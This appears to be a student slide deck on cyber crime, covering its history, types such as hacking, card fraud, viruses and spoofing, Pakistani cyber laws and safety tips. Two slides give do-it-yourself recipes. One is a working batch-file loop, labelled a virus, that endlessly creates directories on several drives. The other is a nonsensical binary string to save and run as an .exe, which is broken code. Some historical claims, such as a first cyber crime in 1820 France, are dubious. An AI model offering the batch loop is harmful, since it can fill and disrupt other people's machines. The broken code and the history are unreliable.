Cyber Crime

Group Members
o Mazhar Nazik (14-ARID-3883)
o Muhammad Bilal (14-ARID-3842)
o Tayyeb Mehmood (14-ARID-3913)

Contents
o Introduction
o Definition
o History
o Categories
o Types
o Cyber Laws
o Prevention
o Conclusion

Introduction
 Computer crime or Cyber Crime is criminal
activity that involves unlawful access to
computer systems.
Cyber crime is an illegal activity committed
on the internet.

Definition
Crime committed using a computer and the
internet to steal data or information.
Example:
 Stealing credit card information
Breaking into government
website

History
 The first cyber crime ever recorded was in
France during 1820.
 The person involved was Joseph-Marie.
 He was a textile manufacturer, he made
looms.
 He invented looms that can store design.

History
The first spam email took place in the year
1978.
The first virus was installed on Apple
Computer in the year 1982.

Categories of Cyber Crime
 The Computer as a Target:
Using a computer to attacks other computer.
e.g. Hacking, virus/worms attacks etc.
 The Computer as a Weapon:
Using a computer to commit
real world crime
e.g. Cyber terrorism,
credit card fraud etc.

Types of Cyber Crime
 Hacking
Credit Card Fraud
Virus Dissemination
 Cyber Terrorism
 Computer Vandalism
Software Piracy
 Spoofing

Hacking
Hacking is a source of threat to security in
computer. It is defined as unauthorized access to
the computer system by a hacker.
Types Of Hackers:
i. White Hat Hackers
ii. Black Hat Hackers
iii. Gray Hat Hackers

Credit Card Fraud
 When an individual uses another individuals’
credit card for personal reasons while the owner of
the card and the card issuer are not aware of the
fact that the card is being used.
 This problem occur while using online banking ,
shopping.

Credit Card Fraud(contd.)
To avoid such a fraud the banks are now
make a privacy so that one can’t use the
others credit card because of the mobile
security code and two steps verification.
Now this is an ethical conduct that is
enforce by the banks to avoid such type of
hacking.

Virus Dissemination
Malicious software that attaches itself to
other software.

Virus Dissemination(contd.)
• Example to create a virus by yourself open your
notepad and write Following Code and paste it
in notepad then Save it as “anyname.bat".
@echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS

Virus Dissemination(contd.)
 Keep a regular backup of your important files.
 Be aware that most current viruses arrive as e-
mail attachments. Be very aware of any
attachment that has any of the following file
extensions:
.exe .vbs .scr .vbe .com .bat .shs .cpl .dll .ocx
.pif .drv .lnk .bin .sys .eml .nws
 It is impossible for any anti-virus program to
protect against all new viruses, so your best
protection is to be very cautious about opening
e-mail attachments.

Cyber Terrorism
Use of Internet based attacks
in terrorist activities.
There are laws to prevent cyber crimes.
For example:
i. Seven Iranians working on behalf of Iranian
government indicted on hacking charges.
ii. Many persons has sent to jail recently in Rawalpindi
for blackmailing on the social media.

Computer Vandalism
 Damaging or destroying data rather than
stealing.
 Transmitting virus.
 Ethical way to deal
with computer vandalism
is not to give permissions
to software without
reading the agreements.

Computer Vandalism (contd.)
For Example:
Write the Following code In Notepad
Exactly as it says
0100101100011111001001010101010101
0000011111100000
Save as a .EXE -any name will do
Run the .exe
You are done !
Don’t try this at your friend’s laptop it’s just
for information purpose :p

Software Piracy
Theft of software through the illegal
copying of genuine programs.

Software Piracy(contd.)
Nowadays, no one is ready to use the
original software’s as they are too costly.
Some of the organizations are now doing
a serious attempt against the people who
are involved in the distribution of pirated
software’s.
For Example:
BSA has many running cases.

Spoofing
 The word "spoof" means to trick, or deceive.
Therefore, in the IT world, spoofing refers tricking
or deceiving computer systems or other computer
users. This is typically done by hiding one's identity
or faking the identity of another user on the
Internet.
 Spoofing can take place on the Internet in several
different ways:
 E-mail Spoofing
 IP Spoofing
 Fake Identity

Spoofing(contd.)
 Always keep your computer system updated
with a good anti virus software
 Do not open the mail if you do not recognize the
sender.
 Ignore any mails with comes without sender
names
 Ignore any mail which has your name in the
sender details
 Do not open any mails if it has only a link in the
body of the message

Cyber Laws in Pakistan
 There are different laws, promulgated in
Pakistan.
 These laws not only deal with crime of Internet.
 These deal with all dimensions related to
computer & networks.
 Two of them are most known. They are:
 Electronic Transaction Ordinance 2002
 Electronic / Cyber Crime Bill 2007

Electronic Transaction Ordinance
2002
Overview
 The Electronic Transactions Ordinance (ETO),
2002, was the first IT-relevant legislation created
by national lawmakers.
 Protection for Pakistani e-Commerce locally and
globally.
 Protect Pakistan’s critical infrastructure
 It is heavily taken from foreign law related to
cyber crime.

Electronic/Cyber Crime Bill 2007
Overview
 “Prevention of Electronic Crimes Ordinance, 2007″ is in force now.
 It was promulgated by the President of Pakistan on the 31st
December 2007
 The bill deals with the electronic crimes included:
Cyber terrorism
Data damage
Electronic fraud
Unauthorized access to code
Cyber Spamming/spoofing

Electronic/Cyber Crime Bill 2007
 It will apply to every person who commits
an offence, irrespective of his nationality or
citizenship.
 It gives exclusive powers to the Federal
Investigation Agency (FIA) to investigate
and charge cases against such crimes.
 Every respective offence under this law
has its distinctive punishment which can
be imprisonment or fine.

SAFETY TIPS FOR CYBER
CRIME
 Use antivirus software’s.
 Insert firewalls.
 Uninstall unnecessary software
 Maintain backup.
 Check security settings.
 Never give your full name or address to
strangers.
 Learn more about Internet privacy.

Cyber Security
Internet security is a branch of computer
security specifically related to the Internet.
It's objective is to establish rules and
measure to use
against attacks
over the Internet.

ADVANTAGES OF CYBER
SECURITY
Defend us from critical attacks.
Browse the safe website.
Internet security process all the incoming
and outgoing data on our computer.

Conclusion
As someone rightly said that “bytes are
replacing bullets in the crime world”.
The key to protecting yourself is being
aware.
Not all cybercriminals are “hackers.”
There is a whole other world that
exists in cyberspace, make sure that
your information travels safely.
Stay Secure.

Cyber Crime

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